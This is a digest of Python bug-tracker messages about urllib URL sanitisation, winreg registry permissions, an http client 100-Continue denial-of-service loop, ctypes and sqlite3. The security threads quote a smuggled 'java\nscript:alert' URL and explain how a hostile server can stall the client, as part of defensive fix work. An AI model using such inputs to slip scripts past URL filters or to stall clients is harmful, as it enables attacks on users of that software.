-> gregory.p.smith nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:35:05 2021 From: report at bugs.python.org (Mike Lissner) Date: Wed, 05 May 2021 18:35:05 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620239705.8.0.964913791823.issue43882@roundup.psfhosted.org> Mike Lissner added the comment: > Instead of the patches as you see them, we could've raised an exception. In my mind the definition of a valid URL is what browsers recognize. They're moving towards the WHATWG definition, and so too must we. If we make python raise an exception when a URL has a newline in the scheme (e..g: "htt\np"), we'd be raising exceptions for *valid* URLs as browsers define them. That doesn't seem right at all to me. I'd be frustrated to have to catch such an exception, and I'd wonder how to pass through valid exceptions without urlparse raising something. > Making the output 'sanitized' means that invalid input is converted into valid output. This goes against the principle of least surprise. Well, not quite, right? The URLs this fixes *are* valid according to browsers. Browsers say these tabs and newlines are OK. ---- I agree though that there's an issue with the approach of stripping input in a way that affects output. That doesn't seem right. I think the solution I'd favor (and I imagine what's coming in 43883) is to do this properly so that newlines are preserved in the output, but so that the scheme is also placed properly in the scheme attribute. So instead of this (from the initial report): > In [9]: from urllib.parse import urlsplit > In [10]: urlsplit("java\nscript:alert('bad')") > Out[10]: SplitResult(scheme='', netloc='', path="java\nscript:alert('bad')", query='', fragment='') We get something like this: > In [10]: urlsplit("java\nscript:alert('bad')") > Out[10]: SplitResult(scheme='java\nscript', netloc='', path="alert('bad')", query='', fragment='') In other words, keep the funky characters and parse properly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:36:23 2021 From: report at bugs.python.org (Mike Lissner) Date: Wed, 05 May 2021 18:36:23 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620239783.98.0.313050784039.issue43882@roundup.psfhosted.org> Mike Lissner added the comment: > I'd wonder how to pass through valid exceptions without urlparse raising something. Oops, meant to say "valid URLs", not valid exceptions, sorry. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:48:50 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Wed, 05 May 2021 18:48:50 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620240530.32.0.218005296645.issue44046@roundup.psfhosted.org> Shreyan Avigyan added the comment: > I can also add, modify, and delete Registry entries in HKLM (or any other hive) by hand with no problem, so it is definitely not a permissions issue. When you run regedit you get an admin pop up, right? Like that also run python in admin mode. > I can also write, update, modify, etc. anything in HKLM using C# just fine, but NOT with winreg in Python. I've never used C# but as far as I know it doesn't use win32api while Python does. C# is specifically designed to work with these while C is not therefore it uses win32api. Python uses the C interface of win32api. > Keep in mind that the exact same Registry write methods work as long as you are pointed to HKCU hive. However, if you point to HKLM and do not change anything else, winreg will throw a permissions error every time, no matter what combination of permission flags you specify. > You will be able to reproduce and see the problem if you try the two examples I provided. Have you tried the two code snippets I provided yet? Please do so, and confirm the outcome so that you are on the same page. Please provide an example that does not involve setting of values (I actually don't want to mess with my registry). If this is occurring while setting of values then I am on right track. If it's not then this requires quite a investigation and debugging. Lastly a WinError always means Access Denied. AFAICT this is a permission problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:52:08 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 18:52:08 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620240728.0.0.260825643355.issue36515@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- pull_requests: +24594 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25927 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:53:28 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 18:53:28 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1620240808.52.0.655902338058.issue44043@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- dependencies: +unaligned memory access in the _sha3 extension _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 14:54:48 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 18:54:48 +0000 Subject: [issue44050] Exceptions in a subinterpreter are changed by another subinterpreter In-Reply-To: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> Message-ID: <1620240888.0.0.761941551551.issue44050@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> eric.snow nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 15:26:16 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 05 May 2021 19:26:16 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620242776.5.0.792167781262.issue37903@roundup.psfhosted.org> Terry J. Reedy added the comment: As described above in msg392163, the other fix is to put the prompt on a line by itself. I hoped to get a switch between fixes into b1 but ran out of time and energy. I intend to have in in the next, along with other improvements. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 15:32:17 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 05 May 2021 19:32:17 +0000 Subject: [issue40617] sqlite3: expose sqlite3_create_window_function In-Reply-To: <1589395971.17.0.715578976108.issue40617@roundup.psfhosted.org> Message-ID: <1620243137.6.0.567546150044.issue40617@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Add create_window_function() to sqlite3.Connection _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:03:09 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 20:03:09 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620244989.63.0.296309613104.issue44022@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> gregory.p.smith nosy: +gregory.p.smith title: "urllib" will result to deny of service -> urllib http client possible infinite loop on a 100 Continue response versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:12:08 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 20:12:08 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620245528.28.0.994786592173.issue44022@roundup.psfhosted.org> Gregory P. Smith added the comment: The bug: Our http client can get stuck infinitely reading len(line) < 64k lines after receiving a '100 Continue' http response. So yes, this could lead to our client being a bandwidth sink for anyone in control of a server. Clear issue: That's a denial of network bandwidth and the denial of service in terms of CPU needed to process read and skip such lines. The infinite lines are size bounded and are not buffered so there is no memory based DoS. Maybe issue: If a the underlying socket has a timeout set on it, it can be used to prevent the timeout from triggering by sending a line more often than the timeout. this is a denial of service by making a http client connection that an author may have assumed would timeout based on their socket.setdefaulttimeout() settings hang forever. I expect there are plenty of other ways to accomplish the latter in our http client code though. Ex: A regular response with a huge content length where one byte is transmitted occasionally could also effectively accomplish that. The stdlib http stack doesn't have its own overall http transaction timeout as a feature. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:20:46 2021 From: report at bugs.python.org (Eryk Sun) Date: Wed, 05 May 2021 20:20:46 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620246046.54.0.594778745982.issue44046@roundup.psfhosted.org> Eryk Sun added the comment: > There is no reason why a user should be able to write to > HKCU but not HKLM. Modifying system keys is limited to SYSTEM, administrators, and various privileged accounts and services such as TrustedInstaller. Standard users are not allowed to modify system keys. > User is a local admin on the machine, and UAC is disabled as well. Please show the output from running the following: import subprocess import winreg print(subprocess.check_output('whoami.exe /groups /fo list', text=True)) hkey = winreg.HKEY_LOCAL_MACHINE winreg.OpenKey(hkey, 'SOFTWARE', 0, winreg.KEY_ALL_ACCESS) If it shows that the administrators group is enabled but full access is still denied to the system "SOFTWARE" hive, then something peculiar is happening here that warrants further inspection. --- Background The base object type that implements the registry is the Key type. A key object can contain other keys and values, or a symbolic link to another key. A key can also be mounted by a hive, which is a tree of keys that's persisted in a file. The root key is named "\REGISTRY". The system mounts user profile hives (i.e. "\NTUSER.DAT") on subkeys of "\REGISTRY\USER" and system hives on subkeys of "\REGISTRY\MACHINE". Each loaded user profile hive is mounted on a subkey that's named for the user's SID string -- e.g. "\REGISTRY\USER\S-1-5-21--", except the default user profile hive is mounted as "\REGISTRY\USER\.DEFAULT". The mounted system hives include BCD00000000 (boot configuration database), SYSTEM, SOFTWARE, SECURITY, and SAM. The system hives, with the exception of the BCD hive, are found on disk in the directory "%SystemRoot%\System32\config". The "\REGISTRY\USER" and "\REGISTRY\MACHINE" keys are made available via the predefined handles HKEY_USERS and HKEY_LOCAL_MACHINE. These predefined handles can also reference the "USER" and "MACHINE" keys on a remote system via winreg.ConnectRegistry(). In the local case, the API maps the predefined handle to an actual handle that it opens via NtOpenKeyEx(). In the remote case, the predefined handle is mapped to an RPC (remote procedure call) handle that proxies a handle on the remote system. HKEY_CURRENT_USER is a predefined handle for the user profile key of the current user. It exists for convenience. Otherwise a program would have to get the name of the subkey to use by getting the current user's SID as a string. The predefined handles that are documented to work with ConnectRegistry() are HKEY_USERS, HKEY_LOCAL_MACHINE, and HKEY_PERFORMANCE_DATA (a virtual key that the API implements) [1]. ConnectRegistry() is not documented to support HKEY_CURRENT_USER. For a remote system, it opens the default profile. This is undefined behavior for an unsupported parameter. It happens to work in the local case when computer_name is None. A key object is secured by a security descriptor that grants or denies specific users and groups various standard rights and specific key rights. winreg provides the API constants for specific key rights, as well as constants with mapped rights for generic access, including KEY_READ, KEY_WRITE, KEY_EXECUTE, and KEY_ALL_ACCESS. These are defined as follows: STANDARD_RIGHTS_REQUIRED: WRITE_OWNER WRITE_DAC READ_CONTROL DELETE KEY_READ / KEY_EXECUTE: KEY_QUERY_VALUE KEY_ENUMERATE_SUB_KEYS KEY_NOTIFY READ_CONTROL KEY_WRITE: KEY_SET_VALUE KEY_CREATE_SUB_KEY READ_CONTROL KEY_ALL_ACCESS: KEY_READ KEY_WRITE KEY_CREATE_LINK STANDARD_RIGHTS_REQUIRED >From the command line, you can use Sysinternals "accesschk.exe" to check the access that a key grants to a particular user or group, such as the "Users" group. For example: C:\>accesschk -nobanner -kdv Users "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" R HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon KEY_QUERY_VALUE KEY_ENUMERATE_SUB_KEYS KEY_NOTIFY READ_CONTROL Standard users are only granted read access to the "Winlogon" key. Full access is granted to administrators, SYSTEM, and the TrustedInstaller service. By default, if UAC is enabled, an administrator uses a non-elevated logon that has the administrators group disabled for everything except denying access to objects. Spawning a process with "run as administrator" uses an elevated logon that enables the administrators group for granting access to secured objects. --- [1] https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regconnectregistryw ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:26:06 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 20:26:06 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620246366.54.0.42005595412.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: Mike: There may be multiple ways to read that WHATWG recommendation? The linked to section is about implementing a state machine for parsing a URL into parts safely. But that may not imply that anything that passed through that state machine should be considered "valid". Just that this spec is able to make some sense out of otherwise messy data. Network adage: Be lenient in what you accept. I doubt anyone would want something producing URLs for consumption by something else to allow these in their output. I have yet to read the _entire_ WHATWG spec from head to toe to try and better understand the context they had in mind. I agree that it is unfortunate that the original URL may have these issues and go on to be (re)used in another context where it passes to something that might not treat it in the same manner. That's in some sense a flaw in our API design that we allow string based URLs to be used in APIs rather than require them to have gone through a parsing sanitization step into a instance of a URL object (for example). API design like that is clearly out of scope for this issue. :) Regardless my gut feeling is that we continue with the existing fix that remove the characters as we've already started releasing. If we need to change our mind on how we've done that, so be it, we can, that'll show up in later patches. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:38:26 2021 From: report at bugs.python.org (Paul) Date: Wed, 05 May 2021 20:38:26 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620247106.79.0.675874199955.issue44046@roundup.psfhosted.org> Paul added the comment: *** Again, I am using a LOCAL ADMINISTRATIVE account. *** "Actually behind the scenes, winreg uses win32api which doesn't allow setting HKEY_LOCAL_MACHINE keys for unprivileged users. Running the application in admin mode may work because at that point your application getting admin privileges but it also may not work because winreg module may not gain admin privileges even though your application does." That is not correct. What special permissions do I need to leverage winreg to write to HKEY_LOCAL_MACHINE that a normal local administrator does not have? By default, any user that has adequate permissions to write / modify directly to their HKCU hive, can also do so in HKEY_LOCAL_MACHINE. The only isolated exceptions are where there are specialized keys in which custom permissions were modified outside the default inherited permissions. To be clear, there is no "admin mode", but I think what you mean is being logged in either with local Administrator account, or logged in with an account that has local Administrator permissions. (You can either be logged in as Administrator, or have an account that has local admin privileges, both of which I am doing when I am executing winreg methods that fail with permission errors.) "When you run regedit you get an admin pop up, right? Like that also run python in admin mode." No, there is no pop up. The reason there is no pop up is because as explained previously, my account has local administrative permissions, and secondly, I have UAC turned off. I can freely make changes directly to the Registry in any hive, including HKEY_LOCAL_MACHINE. This is NOT a permissions issue in the Registry and / or with the user account I am using. If there is a permission issue do to a lack of proper winreg security flag, then that is different, and I need to understand which winreg security flag(s) I SHOULD be using so I can correct it. You don't want popups, especially for processes you want to run automatically and unattended, right? If there was a pop up during an attempted change to the Registry, then any methods used would otherwise not have a chance to execute correctly, and any application doing this would obviously break. "I've never used C# but as far as I know it doesn't use win32api while Python does. C# is specifically designed to work with these while C is not therefore it uses win32api. Python uses the C interface of win32api." Actually, C++ and C# uses Win32 API through .NET framework, while also allows even more intimate and direct connection to Win32 (both in managed and unmanaged interfaces). Obviously, due to the differences of outcomes, while the interfaces winreg is using to access the Registry are similar, apparently they are quite different, as I can run equivalent Registry functions in C# with C++ Win32 API, and it runs just fine. Again, no permission issues at all. "Please provide an example that does not involve setting of values (I actually don't want to mess with my registry). If this is occurring while setting of values then I am on right track. If it's not then this requires quite a investigation and debugging. " No, you are not on track yet. How can you test a defect in winreg of writing to HKEY_LOCAL_MACHINE without actually trying to write to it? You can't, and you are not even investigating it yet. If you are not going to leverage the examples provided, then how are you going to learn about this winreg defect? If you don't like the Registry values in the examples, then simply change them to something you are more comfortable with that is equally as innocuous as my examples, as long as you use HKCU on one, and run the exact same one pointed to HKLM, so that you can very quickly and easily see for yourself, and reproduce this defect. If your account permissions are set up correctly and mine are not, then BOTH examples I gave you should execute and write Registry settings to both HKCU and HKLM, without any errors. After running into this issue and reviewing documentation all over again, I also see a pattern that every example out there only uses HKCU hive, while there are zero working examples that demonstrate writing to the Registry in the HKEY_LOCAL_MACHINE. This no longer appears to be just a coincidence, but instead a limitation. While HKCU is quite common for user-specific Registry settings, HKLM is very heavily used for nearly everything that is not user-specific settings. For winreg not being able to write to HKLM hive successfully, regardless if the user is a local admin and has inherited admin privileges to HKLM even by default, then this is a major bug and a huge limitation to winreg that someone should investigate and implement a solution. Also, if you are not going to run the examples I provided (even with your own Registry values you are comfortable with), then provide ONE working example of writing to Registry with winreg to HKEY_LOCAL_MACHINE that actually works, and I will try it. If you are supporting winreg, then this is a very reasonable request, especially since none of the documentation provides working examples that successfully write to HKEY_LOCAL_MACHINE. "Lastly a WinError always means Access Denied. AFAICT this is a permission problem." That is incorrect. In addition to having local Administrator permissions, the account I am using also has system-level permissions, which is even above default Administrator permissions. I do not receive such errors when I write to HKLM hive using Win32 API in C#. So, if you believe this is simply a permissions issue, then enlighten everyone and provide information on proper security settings for it to work successfully, and I will be more than happy to make any security changes necessary. This should be a very reasonable request since you are so quick to dismiss this as a permissions issue and without even using the examples I provided you that clearly and concisely indicate there is a bug in winreg. Otherwise, show me how I am using winreg incorrectly, and provide a single working example that can write to HKEY_LOCAL_MACHINE, and I will gladly adopt your approach. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:44:12 2021 From: report at bugs.python.org (Steve Dower) Date: Wed, 05 May 2021 20:44:12 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620247452.97.0.872757842501.issue43976@roundup.psfhosted.org> Steve Dower added the comment: >> The best option for restricting the import while still having it be a Python >> import is to find the file (if it's present in the expected location under >> sys.whatever), and then use importlib to import it: >> https://docs.python.org/3/library/importlib.html#importing-a-source-file-directly > > Right, though that requires also a new import, importlib, which may not be > optimal. Considering that this module is meant to be private and basically all > other private importable parts of Python suffer from the same issue, I am > finding it hard to justify. If there's enough consensus that this approach would > be better, I am more than happy to change the implementation. Another alternative would be to convert sysconfig into a directory and make the vendor patch a submodule. That's _very slightly_ more impactful for the unpatched case, but only really for scenarios where people are trying to do things they shouldn't. Or we can include the file in all distros and import it earlier (before taking environment variables, etc. into account). In my opinion, the security implications alone suggest we shouldn't be importing this by name without knowing where it is coming from. >> I'd rather not have a new option here, I would much prefer "-S" in this >> context to mean "run Python with only core libraries" and "-s" to mean "run >> Python with only core and distro libraries" (and neither to mean "run Python >> with core, distro and user libraries"). > > I don't think having an option to start Python with only the vendor modules > would be *necessary*, though it would certainly be helpful. Among other things, > it would be super helpful to be able to tell users to run Python with the -D > (made up) option to isolate issues with the vendor modules and the user Python > environment. But the user can already exclude their user-installed packages with -s, right? It's the site-installed packages that would require -S, but that also excludes vendor modules. Why do we encourage users to install site-wide packages using pip? Why is it such an important scenario for a distro-provided Python to be able to modify its global install using non-distro-provided tools and non-distro-provided packages? What's wrong with saying "install for --user", or else "apt install some-different-python-bundle" first and use that? (To be clear, I'm framing these as confrontational questions to help my understanding. I'm totally willing to accept an answer of "just because", provided whoever is giving that answer actually "owns" dealing with the fallout.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:47:07 2021 From: report at bugs.python.org (Steve Dower) Date: Wed, 05 May 2021 20:47:07 +0000 Subject: [issue44051] Virtualalloc wrong return type In-Reply-To: <1620230812.01.0.281196381617.issue44051@roundup.psfhosted.org> Message-ID: <1620247627.57.0.0881934665036.issue44051@roundup.psfhosted.org> Steve Dower added the comment: The return type of a ctypes function is set by whoever is accessing it. If that is you, then you should do: ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p If it's not you, can you point out which code is getting this wrong? ctypes defaults to 32-bit int by default because that's what C does, and it has no knowledge of the function you're calling to do anything different. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 16:55:46 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 20:55:46 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620248146.72.0.479513203907.issue36515@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24595 pull_request: https://github.com/python/cpython/pull/25928 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 17:03:46 2021 From: report at bugs.python.org (Mateusz Loskot) Date: Wed, 05 May 2021 21:03:46 +0000 Subject: [issue39511] [subinterpreters] Per-interpreter singletons (None, True, False, etc.) In-Reply-To: <1580484815.27.0.407070570821.issue39511@roundup.psfhosted.org> Message-ID: <1620248626.26.0.363507565344.issue39511@roundup.psfhosted.org> Change by Mateusz Loskot : ---------- nosy: +mloskot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 17:11:05 2021 From: report at bugs.python.org (Miguel Brito) Date: Wed, 05 May 2021 21:11:05 +0000 Subject: [issue44030] Markup with_traceback code example In-Reply-To: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> Message-ID: <1620249065.69.0.40543415858.issue44030@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch nosy: +miguendes nosy_count: 2.0 -> 3.0 pull_requests: +24596 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25929 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 17:11:55 2021 From: report at bugs.python.org (Miguel Brito) Date: Wed, 05 May 2021 21:11:55 +0000 Subject: [issue44030] Markup with_traceback code example In-Reply-To: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> Message-ID: <1620249115.67.0.412834276575.issue44030@roundup.psfhosted.org> Miguel Brito added the comment: If we make it a code snippet it works. Just adding a `::` after the paragraph. Here's a print on Firefox locally: https://imgur.com/a/g2vsqf2 I created a PR for that if you think it's a good solution, feel free to merge :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 17:30:34 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 05 May 2021 21:30:34 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620232534.9.0.677209797918.issue43976@roundup.psfhosted.org> Message-ID: <6db0d263-4e7b-fc40-70da-1f3f1df6699f@egenix.com> Marc-Andre Lemburg added the comment: Steve: I think the point of discussing whether "pip install" can be used to manage system wide packages is moot. It's been like that for ages, not only for pip, but also for the distutils setup.py install process and the old Makefile.pre.in approach before that. People have their reasons, it's what you'd expect to work as a Unix sysadmin and won't go away anytime soon :-) So back to the original point... Filipe: Could you please explain why patching sysconfig.py is not a long term solution ? This doesn't involve any changes on the CPython side, is as flexible as you can get (you can also patch functions defined in sysconfig.py to do the necessary magic, not only provide a static dict), doesn't create overhead for Python's startup, works with all the different command line options for limiting sys.path additions and avoids security issues with the Python import logic. It's already clear that sysconfig.py will be the new golden source for installation related APIs and schemes (perhaps this could be made even clearer in the docs), so 3rd party packages will adapt to this once 3.10 is out. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 17:41:17 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 21:41:17 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620250877.79.0.301462801472.issue36515@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24597 pull_request: https://github.com/python/cpython/pull/25930 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 17:47:15 2021 From: report at bugs.python.org (Eryk Sun) Date: Wed, 05 May 2021 21:47:15 +0000 Subject: [issue44051] Virtualalloc wrong return type In-Reply-To: <1620230812.01.0.281196381617.issue44051@roundup.psfhosted.org> Message-ID: <1620251235.21.0.509531943445.issue44051@roundup.psfhosted.org> Eryk Sun added the comment: > ctypes.windll.kernel32.VirtuAlloc function return by default > a ctypes.c_long In Windows, ctypes.c_int is an alias for ctypes.c_long, which is a signed 32-bit integer. This is the default conversion type for the integer parameters of an FFI (foreign function interface) call, as well as the result. It's up to the author of a library wrapper to define the correct function prototypes, pointer types, and aggregate struct/union types. Some common Windows types are defined/aliased in the ctypes.wintypes module, but none of the API is prototyped. > ctypes.windll.kernel32.VirtuAlloc I suggest avoiding the global ctypes.windll loader. IMO, it's not a great idea to use a global library loader since it caches WinDLL instances, which cache function pointer instances. This make it possible for unrelated projects to interfere with each other and the main script by defining incompatible function prototypes -- particularly for common Windows API functions. It also doesn't allow passing use_last_error=True to enable the safe capturing of the thread's last error value as ctypes.get_last_error(). I recommend creating individual CDLL / WinDLL instances. For example: import ctypes kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) kernel32.VirtualAlloc.restype = ctypes.c_void_p kernel32.VirtualAlloc.argtypes = ( ctypes.c_void_p, # lpAddress ctypes.c_size_t, # dwSize ctypes.c_ulong, # flAllocationType ctypes.c_ulong) # flProtect If the call fails, you can raise an OSError as follows: base_addr = kernel32.VirtualAlloc(None, size, alloc_type, protect) if base_addr is None: raise ctypes.WinError(ctypes.get_last_error()) ---------- components: +ctypes nosy: +eryksun resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:04:16 2021 From: report at bugs.python.org (William Pickard) Date: Wed, 05 May 2021 22:04:16 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620252256.77.0.0205698341823.issue44046@roundup.psfhosted.org> William Pickard added the comment: Do you mind ticking the box, "Run as Administrator" in the Compatibility tab for python.exe and try winreg again? ---------- nosy: +WildCard65 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:05:30 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:05:30 +0000 Subject: [issue36515] unaligned memory access in the _sha3 extension In-Reply-To: <1554270079.02.0.655835284074.issue36515@roundup.psfhosted.org> Message-ID: <1620252330.0.0.35549454645.issue36515@roundup.psfhosted.org> miss-islington added the comment: New changeset 3b2a45ff95a68acc8276b37678c98740a232f6d4 by Miss Islington (bot) in branch '3.10': bpo-36515: Disable unaligned memory access in _sha3 on ARM (GH-25927) https://github.com/python/cpython/commit/3b2a45ff95a68acc8276b37678c98740a232f6d4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:42:49 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:42:49 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620254569.48.0.110969599594.issue44022@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24598 pull_request: https://github.com/python/cpython/pull/25931 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:42:54 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:42:54 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620254574.02.0.179133252784.issue44022@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24599 pull_request: https://github.com/python/cpython/pull/25932 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:42:59 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:42:59 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620254579.47.0.946302048595.issue44022@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24600 pull_request: https://github.com/python/cpython/pull/25933 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:43:11 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:43:11 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620254591.55.0.962296171102.issue44022@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24602 pull_request: https://github.com/python/cpython/pull/25935 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:43:05 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:43:05 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620254585.37.0.306185932933.issue44022@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24601 pull_request: https://github.com/python/cpython/pull/25934 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:50:13 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 05 May 2021 22:50:13 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620255013.69.0.815484449497.issue43882@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24603 pull_request: https://github.com/python/cpython/pull/25936 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 5 18:50:44 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 05 May 2021 22:50:44 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620255044.57.0.566028423097.issue44022@roundup.psfhosted.org> Gregory P. Smith added the comment: Thanks 